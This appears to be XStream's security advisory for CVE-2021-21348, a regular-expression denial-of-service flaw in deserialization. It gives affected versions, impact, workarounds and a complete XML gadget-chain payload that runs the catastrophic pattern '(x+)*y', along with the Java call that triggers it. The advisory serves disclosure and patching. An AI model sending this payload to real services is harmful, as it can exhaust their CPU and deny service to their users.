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<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
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<h1 class="FirstChild">CVE-2021-21348</h1>
<h2 id="vulnerability">Vulnerability</h2>
<p>CVE-2021-21348: XStream is vulnerable to an attack using Regular Expression for a Denial of Service (ReDos).</p>
<h2 id="affected_versions">Affected Versions</h2>
<p>All versions until and including version 1.4.15 are affected, if using the version out of the box. No user is
affected, who followed the recommendation to setup <a href="security.html#framework">XStream's security
framework</a> with a whitelist limited to the minimal required types.</p>
<h2 id="description">Description</h2>
<p>The processed stream at unmarshalling time contains type information to recreate the formerly written objects.
XStream creates therefore new instances based on these type information. An attacker can manipulate the processed
input stream and replace or inject objects, that result in executed evaluation of a malicious regular expression
causing a denial of service.</p>
<h2 id="reproduction">Steps to Reproduce</h2>
<p>Create a simple PriorityQueue and use XStream to marshal it to XML. Replace the XML with following snippet and
unmarshal it again with XStream:</p>
<div class="Source XML"><pre><java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
<comparator class='javafx.collections.ObservableList$1'/>
</default>
<int>3</int>
<com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data>
<dataHandler>
<dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
<contentType>text/plain</contentType>
<is class='java.io.SequenceInputStream'>
<e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
<iterator class='java.util.Scanner'>
<buf class='java.nio.HeapCharBuffer'>
<mark>-1</mark>
<position>0</position>
<limit>0</limit>
<capacity>1024</capacity>
<address>0</address>
<hb></hb>
<offset>0</offset>
<isReadOnly>false</isReadOnly>
</buf>
<position>0</position>
<matcher>
<parentPattern>
<pattern>\p{javaWhitespace}+</pattern>
<flags>0</flags>
</parentPattern>
<from>0</from>
<to>0</to>
<lookbehindTo>0</lookbehindTo>
<text class='java.nio.HeapCharBuffer' reference='../../buf'/>
<acceptMode>0</acceptMode>
<first>-1</first>
<last>0</last>
<oldLast>-1</oldLast>
<lastAppendPosition>0</lastAppendPosition>
<locals/>
<hitEnd>false</hitEnd>
<requireEnd>false</requireEnd>
<transparentBounds>true</transparentBounds>
<anchoringBounds>false</anchoringBounds>
</matcher>
<delimPattern>
<pattern>(x+)*y</pattern>
<flags>0</flags>
</delimPattern>
<hasNextPosition>0</hasNextPosition>
<source class='java.io.StringReader'>
<lock class='java.io.StringReader' reference='..'/>
<str>xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx</str>
<length>32</length>
<next>0</next>
<mark>0</mark>
</source>
</iterator>
<type>KEYS</type>
</e>
<in class='java.io.ByteArrayInputStream'>
<buf></buf>
<pos>0</pos>
<mark>0</mark>
<count>0</count>
</in>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
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</java.util.PriorityQueue>
</java.util.PriorityQueue>
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<div class="Source Java"><pre>XStream xstream = new XStream();
xstream.fromXML(xml);
</pre></div>
<p>As soon as the XML gets unmarshalled, the malicious regular expression is evaluated and causes a denial of service.</p>
<p>Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.</p>
<h2 id="impact">Impact</h2>
<p>The vulnerability may allow a remote attacker to occupy a thread that consumes maximum CPU time and will never
return.</p>
<h2 id="workarounds">Workarounds</h2>
<p>See <a href="security.html#workaround">workarounds</a> for the different versions covering all CVEs.</p>
<h2 id="credits">Credits</h2>
<p>The vulnerability was discovered and reported by threedr3am.</p>
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